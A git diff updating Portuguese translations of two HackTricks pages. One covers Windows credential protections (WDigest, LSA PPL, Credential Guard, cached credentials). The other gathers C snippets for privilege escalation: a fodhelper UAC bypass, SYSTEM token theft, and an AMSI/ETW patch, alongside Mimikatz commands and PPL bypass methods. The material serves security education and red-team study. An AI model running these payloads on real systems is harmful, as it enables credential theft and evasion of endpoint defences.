Translated ['', 'src/windows-hardening/stealing-credentials/credentials-

This commit is contained in:
Translator 2025-08-26 22:11:26 +00:00
parent 3b90bde3d9
commit dac11825f8
2 changed files with 172 additions and 63 deletions

View File

@ -4,114 +4,171 @@
## WDigest
O protocolo [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>), introduzido com o Windows XP, é projetado para autenticação via o Protocolo HTTP e está **ativado por padrão no Windows XP até o Windows 8.0 e no Windows Server 2003 até o Windows Server 2012**. Essa configuração padrão resulta em **armazenamento de senhas em texto simples no LSASS** (Serviço de Subsistema de Autoridade de Segurança Local). Um atacante pode usar o Mimikatz para **extrair essas credenciais** executando:
The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **enabled by default on Windows XP through Windows 8.0 and Windows Server 2003 to Windows Server 2012**. This default setting results in **plain-text password storage in LSASS** (Local Security Authority Subsystem Service). An attacker can use Mimikatz to **extract these credentials** by executing:
```bash
sekurlsa::wdigest
```
Para **ativar ou desativar este recurso**, as chaves de registro _**UseLogonCredential**_ e _**Negotiate**_ dentro de _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ devem ser definidas como "1". Se essas chaves estiverem **ausentes ou definidas como "0"**, o WDigest está **desativado**:
Para **ativar ou desativar esse recurso**, as chaves de registro _**UseLogonCredential**_ e _**Negotiate**_ em _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ devem ser definidas como "1". Se essas chaves estiverem **ausentes ou definidas como "0"**, o WDigest está **desativado**:
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
```
## Proteção LSA (Processos protegidos PP e PPL)
## Proteção LSA (PP & PPL protected processes)
**Processo Protegido (PP)** e **Processo Protegido Leve (PPL)** são **proteções a nível de kernel do Windows** projetadas para evitar acesso não autorizado a processos sensíveis como **LSASS**. Introduzido no **Windows Vista**, o **modelo PP** foi originalmente criado para a aplicação de **DRM** e permitia apenas que binários assinados com um **certificado de mídia especial** fossem protegidos. Um processo marcado como **PP** só pode ser acessado por outros processos que também são **PP** e têm um **nível de proteção igual ou superior**, e mesmo assim, **apenas com direitos de acesso limitados** a menos que especificamente permitido.
**Protected Process (PP)** and **Protected Process Light (PPL)** são **proteções em nível de kernel do Windows** projetadas para impedir acesso não autorizado a processos sensíveis como **LSASS**. Introduzido no **Windows Vista**, o **modelo PP** foi originalmente criado para a aplicação de **DRM** e permitia que binários assinados com um **certificado de mídia especial** fossem protegidos. Um processo marcado como **PP** só pode ser acessado por outros processos que sejam **também PP** e tenham um **nível de proteção igual ou superior**, e mesmo assim, **apenas com direitos de acesso limitados**, salvo permissão explícita.
**PPL**, introduzido no **Windows 8.1**, é uma versão mais flexível do PP. Ele permite **casos de uso mais amplos** (por exemplo, LSASS, Defender) ao introduzir **"níveis de proteção"** baseados no campo **EKU (Enhanced Key Usage)** da assinatura digital. O nível de proteção é armazenado no campo `EPROCESS.Protection`, que é uma estrutura `PS_PROTECTION` com:
- **Tipo** (`Protected` ou `ProtectedLight`)
- **Signatário** (por exemplo, `WinTcb`, `Lsa`, `Antimalware`, etc.)
**PPL**, introduzido no **Windows 8.1**, é uma versão mais flexível do PP. Permite **casos de uso mais amplos** (por exemplo, LSASS, Defender) ao introduzir **"protection levels"** baseados no campo **EKU (Enhanced Key Usage)** da assinatura digital. O nível de proteção é armazenado no campo `EPROCESS.Protection`, que é uma estrutura `PS_PROTECTION` com:
- **Tipo** (`Protected` or `ProtectedLight`)
- **Assinante** (por exemplo, `WinTcb`, `Lsa`, `Antimalware`, etc.)
Essa estrutura é compactada em um único byte e determina **quem pode acessar quem**:
- **Valores de signatário mais altos podem acessar os mais baixos**
- **PPLs não podem acessar PPs**
Essa estrutura é empacotada em um único byte e determina **quem pode acessar quem**:
- **Valores de signer mais altos podem acessar os mais baixos**
- **PPLs não conseguem acessar PPs**
- **Processos não protegidos não podem acessar nenhum PPL/PP**
### O que você precisa saber de uma perspectiva ofensiva
### O que você precisa saber do ponto de vista ofensivo
- Quando **LSASS é executado como PPL**, tentativas de abri-lo usando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` a partir de um contexto de administrador normal **falham com `0x5 (Acesso Negado)`**, mesmo que `SeDebugPrivilege` esteja habilitado.
- Quando **LSASS roda como PPL**, tentativas de abri-lo usando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` a partir de um contexto admin normal **falham com `0x5 (Access Denied)`**, mesmo que `SeDebugPrivilege` esteja habilitado.
- Você pode **verificar o nível de proteção do LSASS** usando ferramentas como Process Hacker ou programaticamente lendo o valor `EPROCESS.Protection`.
- O LSASS normalmente terá `PsProtectedSignerLsa-Light` (`0x41`), que pode ser acessado **apenas por processos assinados com um signatário de nível superior**, como `WinTcb` (`0x61` ou `0x62`).
- PPL é uma **restrição apenas de Userland**; **código a nível de kernel pode contorná-la completamente**.
- O LSASS sendo PPL **não impede o despejo de credenciais se você puder executar shellcode de kernel** ou **aproveitar um processo de alta privilégio com acesso adequado**.
- **Definir ou remover PPL** requer reinicialização ou **configurações de Secure Boot/UEFI**, que podem persistir a configuração PPL mesmo após as alterações no registro serem revertidas.
- LSASS normalmente terá `PsProtectedSignerLsa-Light` (`0x41`), que só pode ser acessado **por processos assinados com um signer de nível superior**, como `WinTcb` (`0x61` ou `0x62`).
- PPL é uma **restrição apenas no Userland**; **código em nível de kernel pode contorná-la completamente**.
- O fato de LSASS ser PPL **não impede o credential dumping** se você puder executar kernel shellcode ou **alavancar um processo com altos privilégios e acesso apropriado**.
- **Definir ou remover PPL** requer reboot ou configurações de **Secure Boot/UEFI**, o que pode persistir a configuração de PPL mesmo após alterações no registro serem revertidas.
**Opções para contornar as proteções PPL:**
### Create a PPL process at launch (documented API)
Se você quiser despejar LSASS apesar do PPL, você tem 3 opções principais:
1. **Usar um driver de kernel assinado (por exemplo, Mimikatz + mimidrv.sys)** para **remover a flag de proteção do LSASS**:
Windows expõe uma forma documentada de solicitar um nível Protected Process Light para um processo filho durante a criação usando a lista estendida de atributos de startup. Isso não contorna os requisitos de assinatura — a imagem alvo deve estar assinada para a classe de signer solicitada.
Minimal flow in C/C++:
```c
// Request a PPL protection level for the child process at creation time
// Requires Windows 8.1+ and a properly signed image for the selected level
#include <windows.h>
int wmain(int argc, wchar_t **argv) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
if (!si.lpAttributeList) return 1;
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
if (!UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&level, sizeof(level), NULL, NULL)) {
return 1;
}
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
flags, NULL, NULL, &si.StartupInfo, &pi)) {
// If the image isn't signed appropriately for the requested level,
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
return 1;
}
// cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Notas e restrições:
- Use `STARTUPINFOEX` com `InitializeProcThreadAttributeList` e `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, então passe `EXTENDED_STARTUPINFO_PRESENT` para `CreateProcess*`.
- O `DWORD` de proteção pode ser definido para constantes como `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, ou `PROTECTION_LEVEL_LSA_LIGHT`.
- O processo filho só inicia como PPL se sua imagem estiver assinada para aquela classe de assinante; caso contrário a criação do processo falha, comumente com `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
- Isto não é um bypass — é uma API suportada destinada a imagens devidamente assinadas. Útil para hardenizar ferramentas ou validar configurações protegidas por PPL.
Exemplo de CLI usando um loader mínimo:
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
**Bypass PPL protections options:**
Se você quer dump LSASS apesar do PPL, tem 3 opções principais:
1. **Use um driver de kernel assinado (e.g., Mimikatz + mimidrv.sys)** para **remover a flag de proteção do LSASS**:
![](../../images/mimidrv.png)
2. **Trazer seu próprio driver vulnerável (BYOVD)** para executar código de kernel personalizado e desabilitar a proteção. Ferramentas como **PPLKiller**, **gdrv-loader** ou **kdmapper** tornam isso viável.
3. **Roubar um handle existente do LSASS** de outro processo que o tenha aberto (por exemplo, um processo de AV), então **duplicá-lo** em seu processo. Esta é a base da técnica `pypykatz live lsa --method handledup`.
4. **Abusar de algum processo privilegiado** que permitirá que você carregue código arbitrário em seu espaço de endereço ou dentro de outro processo privilegiado, contornando efetivamente as restrições do PPL. Você pode verificar um exemplo disso em [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ou [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
2. **Bring Your Own Vulnerable Driver (BYOVD)** para executar código kernel customizado e desabilitar a proteção. Ferramentas como **PPLKiller**, **gdrv-loader**, ou **kdmapper** tornam isso viável.
3. **Roubar um handle existente do LSASS** de outro processo que o tenha aberto (e.g., um processo AV), então **duplicá-lo** para o seu processo. Esta é a base da técnica `pypykatz live lsa --method handledup`.
4. **Abusar de algum processo privilegiado** que permita carregar código arbitrário em seu espaço de endereçamento ou dentro de outro processo privilegiado, efetivamente contornando as restrições PPL. Você pode ver um exemplo disso em [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ou [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
**Verifique o status atual da proteção LSA (PPL/PP) para LSASS**:
**Check current status of LSA protection (PPL/PP) for LSASS**:
```bash
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
```
Quando você executa **`mimikatz privilege::debug sekurlsa::logonpasswords`**, provavelmente falhará com o código de erro `0x00000005` por causa disso.
When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
- Para mais informações sobre isso, verifique [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
## Credential Guard
**Credential Guard**, uma funcionalidade exclusiva do **Windows 10 (edições Enterprise e Education)**, aprimora a segurança das credenciais da máquina usando **Virtual Secure Mode (VSM)** e **Virtualization Based Security (VBS)**. Ele aproveita as extensões de virtualização da CPU para isolar processos-chave dentro de um espaço de memória protegido, longe do alcance do sistema operacional principal. Essa isolação garante que até mesmo o kernel não possa acessar a memória no VSM, protegendo efetivamente as credenciais de ataques como **pass-the-hash**. A **Local Security Authority (LSA)** opera dentro desse ambiente seguro como um trustlet, enquanto o processo **LSASS** no sistema operacional principal atua apenas como um comunicador com a LSA do VSM.
**Credential Guard**, a feature exclusive to **Windows 10 (Enterprise and Education editions)**, enhances the security of machine credentials using **Virtual Secure Mode (VSM)** and **Virtualization Based Security (VBS)**. It leverages CPU virtualization extensions to isolate key processes within a protected memory space, away from the main operating system's reach. This isolation ensures that even the kernel cannot access the memory in VSM, effectively safeguarding credentials from attacks like **pass-the-hash**. The **Local Security Authority (LSA)** operates within this secure environment as a trustlet, while the **LSASS** process in the main OS acts merely as a communicator with the VSM's LSA.
Por padrão, **Credential Guard** não está ativo e requer ativação manual dentro de uma organização. É crítico para melhorar a segurança contra ferramentas como **Mimikatz**, que são dificultadas em sua capacidade de extrair credenciais. No entanto, vulnerabilidades ainda podem ser exploradas através da adição de **Security Support Providers (SSP)** personalizados para capturar credenciais em texto claro durante tentativas de login.
Por padrão, o **Credential Guard** não está ativo e requer ativação manual dentro de uma organização. É crítico para melhorar a segurança contra ferramentas como **Mimikatz**, que ficam limitadas em sua capacidade de extrair credenciais. No entanto, ainda é possível explorar vulnerabilidades através da adição de **Security Support Providers (SSP)** customizados para capturar credenciais em texto claro durante tentativas de login.
Para verificar o status de ativação do **Credential Guard**, a chave de registro _**LsaCfgFlags**_ sob _**HKLM\System\CurrentControlSet\Control\LSA**_ pode ser inspecionada. Um valor de "**1**" indica ativação com **UEFI lock**, "**2**" sem bloqueio, e "**0**" denota que não está habilitado. Essa verificação de registro, embora um forte indicador, não é o único passo para habilitar o Credential Guard. Orientações detalhadas e um script PowerShell para habilitar essa funcionalidade estão disponíveis online.
Para verificar o status de ativação do **Credential Guard**, a chave de registro _**LsaCfgFlags**_ em _**HKLM\System\CurrentControlSet\Control\LSA**_ pode ser inspecionada. Um valor de "**1**" indica ativação com **UEFI lock**, "**2**" sem lock, e "**0**" indica que não está habilitado. Essa verificação do registro, embora seja um forte indicativo, não é o único passo para habilitar o Credential Guard. Orientações detalhadas e um script PowerShell para habilitar esse recurso estão disponíveis online.
```bash
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
```
Para uma compreensão abrangente e instruções sobre como habilitar o **Credential Guard** no Windows 10 e sua ativação automática em sistemas compatíveis do **Windows 11 Enterprise e Education (versão 22H2)**, visite [a documentação da Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
For a comprehensive understanding and instructions on enabling **Credential Guard** in Windows 10 and its automatic activation in compatible systems of **Windows 11 Enterprise and Education (version 22H2)**, visit [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
Mais detalhes sobre a implementação de SSPs personalizados para captura de credenciais estão disponíveis [neste guia](../active-directory-methodology/custom-ssp.md).
Further details on implementing custom SSPs for credential capture are provided in [this guide](../active-directory-methodology/custom-ssp.md).
## Modo RestrictedAdmin do RDP
## RDP RestrictedAdmin Mode
O **Windows 8.1 e o Windows Server 2012 R2** introduziram várias novas funcionalidades de segurança, incluindo o _**modo Restricted Admin para RDP**_. Este modo foi projetado para aumentar a segurança, mitigando os riscos associados a ataques de [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
**Windows 8.1 and Windows Server 2012 R2** introduziram várias novas funcionalidades de segurança, incluindo o _**Restricted Admin mode for RDP**_. Este modo foi projetado para aumentar a segurança mitigando os riscos associados a ataques [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
Tradicionalmente, ao conectar-se a um computador remoto via RDP, suas credenciais são armazenadas na máquina alvo. Isso representa um risco significativo de segurança, especialmente ao usar contas com privilégios elevados. No entanto, com a introdução do _**modo Restricted Admin**_, esse risco é substancialmente reduzido.
Tradicionalmente, ao conectar-se a um computador remoto via RDP, suas credenciais são armazenadas na máquina alvo. Isso representa um risco de segurança significativo, especialmente ao usar contas com privilégios elevados. Entretanto, com a introdução do _**Restricted Admin mode**_, esse risco é substancialmente reduzido.
Ao iniciar uma conexão RDP usando o comando **mstsc.exe /RestrictedAdmin**, a autenticação no computador remoto é realizada sem armazenar suas credenciais nele. Essa abordagem garante que, no caso de uma infecção por malware ou se um usuário malicioso ganhar acesso ao servidor remoto, suas credenciais não sejam comprometidas, pois não estão armazenadas no servidor.
Ao iniciar uma conexão RDP usando o comando **mstsc.exe /RestrictedAdmin**, a autenticação ao computador remoto é realizada sem armazenar suas credenciais nele. Essa abordagem garante que, em caso de infecção por malware ou se um usuário malicioso obtiver acesso ao servidor remoto, suas credenciais não sejam comprometidas, pois não estão armazenadas no servidor.
É importante notar que no **modo Restricted Admin**, tentativas de acessar recursos de rede a partir da sessão RDP não usarão suas credenciais pessoais; em vez disso, a **identidade da máquina** é utilizada.
É importante notar que, no **Restricted Admin mode**, tentativas de acessar recursos de rede a partir da sessão RDP não usarão suas credenciais pessoais; em vez disso, a **identidade da máquina** é usada.
Esse recurso marca um avanço significativo na segurança das conexões de desktop remoto e na proteção de informações sensíveis contra exposição em caso de uma violação de segurança.
Esse recurso representa um avanço significativo na proteção de conexões de área de trabalho remota e na proteção de informações sensíveis contra exposição em caso de violação de segurança.
![](../../images/RAM.png)
Para mais informações detalhadas, visite [este recurso](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
For more detailed information on visit [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
## Credenciais em Cache
## Cached Credentials
O Windows protege as **credenciais de domínio** através da **Local Security Authority (LSA)**, suportando processos de logon com protocolos de segurança como **Kerberos** e **NTLM**. Uma característica chave do Windows é sua capacidade de armazenar em cache os **últimos dez logons de domínio** para garantir que os usuários ainda possam acessar seus computadores mesmo se o **controlador de domínio estiver offline**—uma vantagem para usuários de laptops que frequentemente estão longe da rede da empresa.
O Windows protege as **credenciais de domínio** por meio da **Local Security Authority (LSA)**, suportando processos de logon com protocolos de segurança como **Kerberos** e **NTLM**. Uma funcionalidade chave do Windows é a capacidade de armazenar em cache os **últimos dez logons de domínio** para garantir que os usuários ainda possam acessar seus computadores mesmo se o **controlador de domínio estiver offline** — uma vantagem para usuários de laptop que frequentemente estão fora da rede da empresa.
O número de logons em cache é ajustável por meio de uma **chave de registro ou política de grupo** específica. Para visualizar ou alterar essa configuração, o seguinte comando é utilizado:
O número de logons em cache é ajustável através de uma **chave do registro ou política de grupo** específica. Para visualizar ou alterar essa configuração, o seguinte comando é utilizado:
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
O acesso a essas credenciais em cache é rigidamente controlado, com apenas a conta **SYSTEM** tendo as permissões necessárias para visualizá-las. Administradores que precisam acessar essas informações devem fazê-lo com privilégios de usuário SYSTEM. As credenciais são armazenadas em: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
O acesso a essas credenciais em cache é estritamente controlado, com apenas a conta **SYSTEM** possuindo as permissões necessárias para visualizá-las. Administradores que precisarem acessar essa informação devem fazê-lo com privilégios de usuário SYSTEM. As credenciais são armazenadas em: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
**Mimikatz** pode ser utilizado para extrair essas credenciais em cache usando o comando `lsadump::cache`.
**Mimikatz** pode ser usado para extrair essas credenciais em cache usando o comando `lsadump::cache`.
Para mais detalhes, a [fonte](http://juggernaut.wikidot.com/cached-credentials) original fornece informações abrangentes.
Para mais detalhes, a [fonte original](http://juggernaut.wikidot.com/cached-credentials) fornece informações abrangentes.
## Usuários Protegidos
A adesão ao **grupo de Usuários Protegidos** introduz várias melhorias de segurança para os usuários, garantindo níveis mais altos de proteção contra roubo e uso indevido de credenciais:
A filiação ao **Protected Users group** introduz várias melhorias de segurança para usuários, garantindo níveis mais altos de proteção contra roubo e uso indevido de credenciais:
- **Delegação de Credenciais (CredSSP)**: Mesmo que a configuração de Política de Grupo para **Permitir delegar credenciais padrão** esteja habilitada, as credenciais em texto simples dos Usuários Protegidos não serão armazenadas em cache.
- **Windows Digest**: A partir do **Windows 8.1 e Windows Server 2012 R2**, o sistema não armazenará em cache credenciais em texto simples dos Usuários Protegidos, independentemente do status do Windows Digest.
- **NTLM**: O sistema não armazenará em cache as credenciais em texto simples dos Usuários Protegidos ou funções unidirecionais NT (NTOWF).
- **Kerberos**: Para Usuários Protegidos, a autenticação Kerberos não gerará **DES** ou **chaves RC4**, nem armazenará em cache credenciais em texto simples ou chaves de longo prazo além da aquisição inicial do Ticket-Granting Ticket (TGT).
- **Login Offline**: Usuários Protegidos não terão um verificador em cache criado no login ou desbloqueio, o que significa que o login offline não é suportado para essas contas.
- **Credential Delegation (CredSSP)**: Mesmo que a configuração de Group Policy **Allow delegating default credentials** esteja habilitada, as credenciais em texto plano dos usuários do **Protected Users group** não serão armazenadas em cache.
- **Windows Digest**: A partir do **Windows 8.1 and Windows Server 2012 R2**, o sistema não armazenará em cache credenciais em texto plano dos usuários do **Protected Users group**, independentemente do status do Windows Digest.
- **NTLM**: O sistema não armazenará em cache credenciais em texto plano dos usuários do **Protected Users group** nem funções unidirecionais NT (NTOWF).
- **Kerberos**: Para usuários do **Protected Users group**, a autenticação Kerberos não gerará chaves **DES** ou **RC4**, nem armazenará em cache credenciais em texto plano ou chaves de longo prazo além da aquisição inicial do Ticket-Granting Ticket (TGT).
- **Offline Sign-In**: Usuários do **Protected Users group** não terão um verificador em cache criado no momento do sign-in ou do unlock, o que significa que o sign-in offline não é suportado para essas contas.
Essas proteções são ativadas no momento em que um usuário, que é membro do **grupo de Usuários Protegidos**, faz login no dispositivo. Isso garante que medidas de segurança críticas estejam em vigor para proteger contra vários métodos de comprometimento de credenciais.
Essas proteções são ativadas no momento em que um usuário, que é membro do **Protected Users group**, faz sign-in no dispositivo. Isso garante que medidas críticas de segurança estejam em vigor para proteger contra vários métodos de comprometimento de credenciais.
Para informações mais detalhadas, consulte a [documentação oficial](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
**Tabela de** [**documentos**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
**Tabela de** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
@ -132,4 +189,12 @@ Para informações mais detalhadas, consulte a [documentação oficial](https://
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
| Server Operators | Server Operators | Server Operators | Server Operators |
## Referências
- [CreateProcessAsPPL minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
- [LSASS RunAsPPL background and internals](https://itm4n.github.io/lsass-runasppl/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Esta página coleta **pequenos trechos de C autônomos** que são úteis durante a Escalação de Privilégios Locais no Windows ou pós-exploração. Cada payload é projetado para ser **amigável ao copiar e colar**, requer apenas a API do Windows / tempo de execução C, e pode ser compilado com `i686-w64-mingw32-gcc` (x86) ou `x86_64-w64-mingw32-gcc` (x64).
Esta página reúne **pequenos trechos de C autocontidos** que são úteis durante Windows Local Privilege Escalation ou post-exploitation. Cada payload é projetado para ser **fácil de copiar e colar**, requer apenas a Windows API / C runtime, e pode ser compilado com `i686-w64-mingw32-gcc` (x86) ou `x86_64-w64-mingw32-gcc` (x64).
> ⚠️ Esses payloads assumem que o processo já possui os privilégios mínimos necessários para realizar a ação (por exemplo, `SeDebugPrivilege`, `SeImpersonatePrivilege` ou contexto de integridade média para um bypass de UAC). Eles são destinados a **configurações de red-team ou CTF** onde explorar uma vulnerabilidade resultou na execução de código nativo arbitrário.
> ⚠️ Estes payloads assumem que o processo já possui os privilégios mínimos necessários para executar a ação (por exemplo, `SeDebugPrivilege`, `SeImpersonatePrivilege`, ou contexto de integridade média para um UAC bypass). Eles são destinados a **red-team or CTF settings** onde explorar uma vulnerabilidade resultou em arbitrary native code execution.
---
@ -20,8 +20,8 @@ return 0;
```
---
## UAC Bypass `fodhelper.exe` Registro Hijack (Integridade Média → Alta)
Quando o binário confiável **`fodhelper.exe`** é executado, ele consulta o caminho do registro abaixo **sem filtrar o verbo `DelegateExecute`**. Plantando nosso comando sob essa chave, um atacante pode contornar o UAC *sem* gravar um arquivo no disco.
## UAC Bypass `fodhelper.exe` Registry Hijack (Medium → High integrity)
Quando o binário confiável **`fodhelper.exe`** é executado, ele consulta o caminho do registro abaixo **sem filtrar o verbo `DelegateExecute`**. Ao plantar nosso comando nessa chave, um atacante pode bypass UAC *sem* gravar um arquivo no disco.
*Caminho do registro consultado por `fodhelper.exe`*
```
@ -61,12 +61,12 @@ system("fodhelper.exe");
return 0;
}
```
*Testado no Windows 10 22H2 e Windows 11 23H2 (patches de julho de 2025). O bypass ainda funciona porque a Microsoft não corrigiu a verificação de integridade ausente no caminho `DelegateExecute`.*
*Testado no Windows 10 22H2 e Windows 11 23H2 (patches de julho de 2025). O bypass ainda funciona porque a Microsoft não corrigiu a falta de verificação de integridade no caminho `DelegateExecute`.*
---
## Criar shell SYSTEM via duplicação de token (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Se o processo atual possui **ambos** os privilégios `SeDebug` e `SeImpersonate` (típico para muitas contas de serviço), você pode roubar o token de `winlogon.exe`, duplicá-lo e iniciar um processo elevado:
## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Se o processo atual possuir **ambos** os privilégios `SeDebug` e `SeImpersonate` (típico de muitas contas de serviço), você pode roubar o token do `winlogon.exe`, duplicá-lo e iniciar um processo elevado:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
return 0;
}
```
Para uma explicação mais profunda de como isso funciona, veja:
Para uma explicação mais aprofundada de como isso funciona veja:
{{#ref}}
sedebug-+-seimpersonate-copy-token.md
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
---
## Patch AMSI & ETW em Memória (Evasão de Defesa)
A maioria dos motores AV/EDR modernos depende de **AMSI** e **ETW** para inspecionar comportamentos maliciosos. Fazer patch em ambas as interfaces cedo dentro do processo atual impede que payloads baseados em script (por exemplo, PowerShell, JScript) sejam escaneados.
## In-Memory AMSI & ETW Patch (Defence Evasion)
A maioria dos motores AV/EDR modernos depende de **AMSI** e **ETW** para inspecionar comportamentos maliciosos. Aplicar patches em ambas as interfaces cedo dentro do processo atual impede que script-based payloads (por exemplo PowerShell, JScript) sejam escaneados.
```c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
```
*O patch acima é local ao processo; iniciar um novo PowerShell após executá-lo será feito sem inspeção AMSI/ETW.*
*O patch acima é local ao processo; iniciar um novo PowerShell após executá-lo fará com que ele seja executado sem inspeção AMSI/ETW.*
---
## Criar processo filho como Protected Process Light (PPL)
Solicite um nível de proteção PPL para um processo filho no momento da criação usando `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Esta é uma API documentada e só terá êxito se a imagem alvo estiver assinada para a classe de assinante solicitada (Windows/WindowsLight/Antimalware/LSA/WinTcb).
```c
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
